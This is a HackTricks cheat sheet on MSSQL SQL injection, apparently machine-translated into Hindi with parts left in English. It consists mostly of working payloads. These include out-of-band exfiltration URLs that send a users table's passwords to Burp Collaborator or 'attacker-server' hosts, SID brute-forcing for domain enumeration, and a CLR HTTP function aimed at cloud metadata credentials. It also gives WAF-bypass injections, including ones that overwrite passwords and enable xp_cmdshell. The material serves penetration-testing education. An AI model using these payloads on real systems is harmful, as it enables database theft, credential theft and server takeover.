MSSQL Injection

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Active Directory enumeration

यह संभव है कि MSSQL सर्वर के अंदर SQL इंजेक्शन के माध्यम से डोमेन उपयोगकर्ताओं की सूची बनाई जा सके निम्नलिखित MSSQL फ़ंक्शंस का उपयोग करके:

  • SELECT DEFAULT_DOMAIN(): वर्तमान डोमेन नाम प्राप्त करें।
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): यदि आप डोमेन का नाम जानते हैं (DOMAIN इस उदाहरण में) तो यह फ़ंक्शन Administrator उपयोगकर्ता का SID हेक्स प्रारूप में लौटाएगा। यह इस तरह दिखेगा 0x01050000000[...]0000f401, ध्यान दें कि अंतिम 4 बाइट्स संख्या 500 हैं बिग एंडियन प्रारूप में, जो उपयोगकर्ता व्यवस्थापक का सामान्य ID है।
    यह फ़ंक्शन आपको डोमेन का ID जानने की अनुमति देगा (अंतिम 4 बाइट्स को छोड़कर सभी बाइट्स)।
  • SUSER_SNAME(0x01050000000[...]0000e803) : यह फ़ंक्शन संकेतित ID का उपयोगकर्ता नाम लौटाएगा (यदि कोई हो), इस मामले में 0000e803 बिग एंडियन == 1000 (आमतौर पर यह पहले नियमित उपयोगकर्ता ID का ID होता है)। फिर आप कल्पना कर सकते हैं कि आप 1000 से 2000 तक उपयोगकर्ता IDs को ब्रूट-फोर्स कर सकते हैं और संभवतः डोमेन के सभी उपयोगकर्ताओं के उपयोगकर्ता नाम प्राप्त कर सकते हैं। उदाहरण के लिए, निम्नलिखित फ़ंक्शन का उपयोग करके:
python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

वैकल्पिक त्रुटि-आधारित वेक्टर

त्रुटि-आधारित SQL इंजेक्शन आमतौर पर +AND+1=@@version-- जैसे निर्माणों के समान होते हैं और «OR» ऑपरेटर पर आधारित भिन्नताएँ होती हैं। ऐसे अभिव्यक्तियों वाले प्रश्न आमतौर पर WAFs द्वारा अवरुद्ध होते हैं। एक बाईपास के रूप में, %2b वर्ण का उपयोग करके एक स्ट्रिंग को जोड़ें जो विशिष्ट फ़ंक्शन कॉल के परिणाम के साथ डेटा प्रकार रूपांतरण त्रुटि को ट्रिगर करता है।

ऐसे फ़ंक्शनों के कुछ उदाहरण:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

फ़ंक्शन USER_NAME() का उदाहरण उपयोग:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

ये SSRF ट्रिक्स यहां से ली गई थीं

fn_xe_file_target_read_file

इसकी आवश्यकता है VIEW SERVER STATE अनुमति सर्वर पर।

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

यह CONTROL SERVER अनुमति की आवश्यकता है।

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

यह CONTROL SERVER अनुमति की आवश्यकता है।

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

xp_dirtree जैसे स्टोर किए गए प्रोसीजर्स, हालांकि माइक्रोसॉफ्ट द्वारा आधिकारिक रूप से दस्तावेजित नहीं किए गए हैं, लेकिन इनकी उपयोगिता के कारण अन्य लोगों द्वारा ऑनलाइन वर्णित किए गए हैं। ये प्रोसीजर्स अक्सर MSSQL के भीतर नेटवर्क संचालन में उपयोग किए जाते हैं। इनका उपयोग Out of Band Data exfiltration में किया जाता है, जैसा कि विभिन्न examples और posts में प्रदर्शित किया गया है।

उदाहरण के लिए, xp_dirtree स्टोर किए गए प्रोसीजर का उपयोग नेटवर्क अनुरोध करने के लिए किया जाता है, लेकिन यह केवल TCP पोर्ट 445 तक सीमित है। पोर्ट नंबर को संशोधित नहीं किया जा सकता, लेकिन यह नेटवर्क शेयर से पढ़ने की अनुमति देता है। उपयोग नीचे SQL स्क्रिप्ट में प्रदर्शित किया गया है:

sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

यह ध्यान देने योग्य है कि यह विधि सभी सिस्टम कॉन्फ़िगरेशन पर काम नहीं कर सकती, जैसे कि Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) जो Windows Server 2016 Datacenter पर डिफ़ॉल्ट सेटिंग्स के साथ चल रहा है।

इसके अतिरिक्त, master..xp_fileexist और xp_subdirs जैसी वैकल्पिक स्टोर की गई प्रक्रियाएँ हैं जो समान परिणाम प्राप्त कर सकती हैं। xp_fileexist पर अधिक विवरण इस TechNet article में पाया जा सकता है।

xp_cmdshell

स्पष्ट रूप से आप xp_cmdshell का उपयोग करके execute कर सकते हैं कुछ ऐसा जो SSRF को ट्रिगर करता है। अधिक जानकारी के लिए पृष्ठ में संबंधित अनुभाग पढ़ें:

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL User Defined Function - SQLHttp

CLR UDF (Common Language Runtime User Defined Function) बनाना, जो किसी भी .NET भाषा में लिखा गया कोड है और DLL में संकलित किया गया है, जिसे कस्टम फ़ंक्शंस को निष्पादित करने के लिए MSSQL के भीतर लोड किया जाना है, एक प्रक्रिया है जो dbo एक्सेस की आवश्यकता होती है। इसका मतलब है कि यह आमतौर पर केवल तब संभव है जब डेटाबेस कनेक्शन sa के रूप में या एक व्यवस्थापक भूमिका के साथ बनाया गया हो।

एक Visual Studio प्रोजेक्ट और स्थापना निर्देश इस Github repository में प्रदान किए गए हैं ताकि बाइनरी को MSSQL में CLR असेंबली के रूप में लोड करने में मदद मिल सके, जिससे MSSQL के भीतर HTTP GET अनुरोधों को निष्पादित किया जा सके।

इस कार्यक्षमता का मूल http.cs फ़ाइल में संकुचित है, जो WebClient क्लास का उपयोग करके GET अनुरोध को निष्पादित करता है और नीचे दिखाए अनुसार सामग्री प्राप्त करता है:

csharp
using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

CREATE ASSEMBLY SQL कमांड को निष्पादित करने से पहले, सर्वर की विश्वसनीय असेंबली की सूची में असेंबली के SHA512 हैश को जोड़ने के लिए निम्नलिखित SQL स्निपेट चलाने की सलाह दी जाती है (जिसे select * from sys.trusted_assemblies; के माध्यम से देखा जा सकता है):

sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

सफलतापूर्वक असेंबली जोड़ने और फ़ंक्शन बनाने के बाद, HTTP अनुरोध करने के लिए निम्नलिखित SQL कोड का उपयोग किया जा सकता है:

sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

त्वरित शोषण: एकल क्वेरी में संपूर्ण तालिका सामग्री प्राप्त करना

Trick from here.

एकल क्वेरी में तालिका की संपूर्ण सामग्री निकालने के लिए एक संक्षिप्त विधि FOR JSON क्लॉज का उपयोग करना है। यह दृष्टिकोण FOR XML क्लॉज की तुलना में अधिक संक्षिप्त है, जिसे "raw" जैसे विशेष मोड की आवश्यकता होती है। संक्षिप्तता के लिए FOR JSON क्लॉज को प्राथमिकता दी जाती है।

यहाँ वर्तमान डेटाबेस से स्कीमा, तालिकाएँ और कॉलम प्राप्त करने का तरीका है:

`sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">`</span></div>

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

WAF Bypass with unorthodox stacked queries

According to this blog post it's possible to stack queries in MSSQL without using ";":

SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

use [tempdb]  
create table [test] ([id] int)  
insert [test] values(1)  
select [id] from [test]  
drop table[test]

Can be reduced to:

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# अंत में एक बेकार exec() जोड़ना और WAF को यह सोचने पर मजबूर करना कि यह एक मान्य क्वेरी नहीं है
admina'union select 1,'admin','testtest123'exec('select 1')--
## यह होगा:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# अजीब तरीके से बनाए गए क्वेरी का उपयोग करना
admin'exec('update[users]set[password]=''a''')--
## यह होगा:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# या xp_cmdshell को सक्षम करना
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## यह होगा
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--